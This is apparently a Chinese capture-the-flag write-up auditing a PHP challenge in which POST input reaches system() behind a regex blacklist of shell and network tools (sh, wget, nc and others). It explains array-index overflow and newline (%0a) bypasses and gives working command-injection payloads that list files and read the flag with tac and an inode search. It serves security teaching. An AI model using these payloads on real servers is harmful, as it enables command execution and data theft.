题目剖析
这是一道PHP代码审计题目
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = [‘admin‘, ‘user‘];
if($stuff === $array && $stuff[0] != ‘admin‘) {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|‘|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo ‘Bonjour!‘;
}
}
} else {
highlight_file(__FILE__);
}
通过代码审计,可以观察到以下信息:
- PHP版本5.5.9
- 存在数组强类型比较
- 存在过滤num的POST注入
- ^和$ 匹配字符串开头和结尾
- /d 匹配数字
- /i 表示匹配的时候不区分大小写
- /m 表示多行匹配。
所以我们可以得出,在进行POST注入num的时候,需要首位一定是数字,并且要绕过多行匹配
- 黑名单机制
漏洞分析
- PHP版本5.5存在数组溢出漏洞
即如果是32位的操作处理,那么数组最大值是232-1=4294967295=1111 1111 1111 1111 1111 1111 1111 1111。如果加1,那么就会变成1 0000 0000 0000 0000 0000 0000 0000 0000,因为是32位,只保留后32位,前面的1将被舍弃,数组重新归零。
所以按照此题目的stuff[4294967295]=stuff[0]
那么就可以重新进行post注入,按照这个强类型比较又要求$stuff[0] != ‘admin‘
可以书写payload:stuff[4294967296]=admin&stuff[1]=user
这样可以绕过第一个if判断 - num的换行匹配漏洞
普通换行无法达成命令的注入,可以用%0a
进行替代 - 黑名单机制漏洞
使用黑名单最大的坏处就是黑名单不全
可以使用tac实现和cat效果完全相反的反向读取
可以使用iNode节点读取flag文件
注入payload
所以我们可以分别注入payload为:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
!
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac find / -inum 33043719